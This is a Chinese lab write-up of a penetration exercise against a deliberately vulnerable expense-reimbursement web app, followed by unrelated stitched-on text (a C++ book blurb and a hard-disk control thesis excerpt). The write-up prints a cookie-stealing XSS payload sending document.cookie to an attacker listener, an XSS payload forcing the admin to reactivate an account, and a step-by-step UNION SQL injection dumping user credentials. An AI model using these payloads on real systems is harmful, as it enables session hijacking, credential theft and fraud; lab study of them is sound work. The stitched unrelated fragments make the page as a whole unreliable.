我要报销靶机

靶机前情提要:

您是“Samuel Lamotte”,而您刚被公司“Furtura Business Informatique"开除。不幸的是,由于您

匆忙离开,您没有时间验证您的上一次商务旅行的费用报告,该报告仍为750欧元,对应于飞往您的最

后一个客户的返程航班。

由于担心您的前雇主可能不想为您退还该费用报告,因此您决定入侵名为公司内部应用程序来通过费

用申请。

您的凭据是:slamotte/fzghn4lw,该应用程序受用户名/密码验证保护,您希望管理员尚未修改或

删除您的访问权限。

=======================================================

允许合作者和经理报告他们的费用,以便尽快报销。

合作者:您的经理,然后财务批准人必须验证您的请求。

经理:财务审批人必须验证您的请求。

要报告费用,您必须先登录。如果您遇到应用程序或请求的任何问题,请使用内部消息系统。

这段话是机翻的,意思含糊不清,大体是说我们要登录上自己的账号提交请求然后还要想办法让经理和财务同意我们的请求

扫描ip

全面扫描

御剑目录扫描

登录试一下

您的帐户已被锁定或处于非活动状态。请联系管理员团队。

这里我们进如目录扫描到的页面可以看到我们的状态是inactive

我们尝试修改状态不行

看来需要管理员修改我们的状态才能登录上去

发现注册页面尝试xss

Kali开启监听端口

<script>document.write('<img src="http://192.168.221.130:8000/?'+document.cookie+'">')</script>

这里发现提交不了

F12找到这个按钮把disable删掉就好了

Kali获得了对方的cookie

在控制台输入cookie尝试用管理员的身份登录

这里说抱歉,作为管理员,您一次只能进行一次身份验证。

既然不能两个地方同时登录我们换一种思路

能不能让管理员帮我们把状态改成active这里不正好有一个可以注入的地方吗

先抓个包看一下改成active状态的数据是什么

<script>document.write('<img src="http://192.168.221.143/admin/admin.php?id=11&status=active

">')</script>

可以看到我们成功改掉了状态

从这里的留言大概知道了我们的财务经理分别是谁

同时也获得一个可以注入xss的地方

得到很多cookie也不知道那个是只能一个一个试

这里找到了我们的申请把它提交

接下来就是让财务同意我们的申请了

这里发现又sql注入点

?id=2 and 1=1

?id=2 and 1=2#确定注入类型

?id=2 order by 1,2 #确定字段

?id=2 and 1=2 union select 1,2#确定回显位置

?id=2 and 1=2 union select database(),2 --+

?id=2 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

union select 1,(select group_concat(column_name)from information_schema.columns where table_name='user')--+

?id=2 and 1=2 union select 1,(select group_concat(username,'~',password)from user )--+

根据前面的留言第一个afoulon大概就是财务了

Md5解密

登录财务账号

最后在财务这里通过申请

结束

《C++编程实例100篇》是一本深入实践、极具价值的编程教程,它针对C++编程语言提供了丰富的实例,旨在帮助读者更好地理解和掌握C++的各项特性与编程技巧。这本书的经典之处在于它将理论与实践相结合,通过100个精心设计的编程实例,覆盖了C++的各个核心领域,包括基础语法、面向对象编程、模板、异常处理、STL(标准模板库)等。 我们来探讨C++的基础语法。C++是C语言的增强版,它保留了C语言的高效性和灵活性,并引入了类、对象和继承等面向对象编程概念。基础语法包括变量声明、数据类型、运算符、控制结构(如if语句、for循环、while循环)、函数的定义和调用等。在实例中,你可能会遇到如何编写简单的程序,如计算两个数的和,或者实现一个简单的猜数字游戏。 C++的面向对象编程是其一大特色。通过类和对象,你可以构建复杂的软件系统。类是对象的蓝图,它定义了对象的属性和行为。实例化一个类,就是创建一个具体的对象。继承允许你创建新的类,这些类从现有的类派生,共享其属性和方法,同时可以添加新的功能。多态性是面向对象的另一个关键特性,它使得不同类型的对象可以对同一消息作出不同的响应。这些概念在实例中会以各种形式展现,例如设计一个图形界面的类层次,或实现一个简单的模拟游戏。 接下来是模板,C++的模板功能让代码更加通用,可以处理不同类型的数据。模板分为函数模板和类模板,前者可以创建泛型函数,后者可以创建泛型类。通过模板,你可以编写出高效且灵活的代码,比如实现一个通用的排序算法。 异常处理是C++中用于处理程序运行时错误的机制。当程序出现异常情况时,可以抛出一个异常,然后在适当的点捕获并处理这个异常。这使得代码能够优雅地处理错误,而不是让程序崩溃。实例中可能会有涉及文件操作或网络通信时可能出现的异常处理示例。
一、毕业设计的技术背景和设计依据 计算机硬盘驱动器作为一种存储数据信息的设备,在目前的计算机系统中起着不可替代的作用,读写的快慢对整个计算机系统的性能无疑占有重要地位。硬盘式电子计算机磁记录机构中最为精密的一类微机电系统设备,它对振动的敏感性是由其结构决定的,而其控制尚未很好的解决,针对硬盘展开建模及控制有着重要的实际应用价值。 二、毕业设计的任务 现代硬盘一般有 1 - 5 个盘片,以常见的 3.5 英寸硬盘为例,盘片直径约为 95mm,厚度约为 0.635mm。磁头数量通常与盘片数量相关,每面盘片有一个磁头,比如一个 3 盘片的硬盘就有 6 个磁头。缓存大小可能为 32MB、64MB 或 128MB 等,如某普通硬盘缓存为 64MB,电机功率一般在 2 - 5W,像转速为 7200RPM(转每分钟)的电机功率约 3W。数据写入时,磁头在电机带动下,以平均寻道速度约 10 - 15m/s 定位磁道。以一块顺序写入数据的硬盘为例,当写入连续大文件,如 1GB 的视频文件时,在 SATA3.0 接口下,理论传输带宽为 6Gb/s(约 750MB/s),实际可达 500 - 600MB/s。读取时,磁头感应盘片磁场变化,如读取小文件(1MB 大小),若磁头寻道距离平均为 1000 个磁道,每次寻道时间约 8 - 12ms,读取速度会因寻道而下降到 10 - 20MB/s。 本设计选取硬盘驱动器作为研究对象,假设电机扭矩为 0.3N・m,盘片转动惯量为 0.003kg・m²,轴承摩擦力矩为 0.03N・m。在稳定旋转阶段,转速波动范围设为额定转速的 ±0.5%,即 ±36RPM。首先通过对该系统分析建立了其物理模型,然后针对以音圈电机作为伺服机构的硬盘磁头定位伺服系统的性能要求,对音圈电机的控制设计采用三种控制器方案,即极点配置法、PID控制方法、线性二次型调节器方法,分别比较分
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值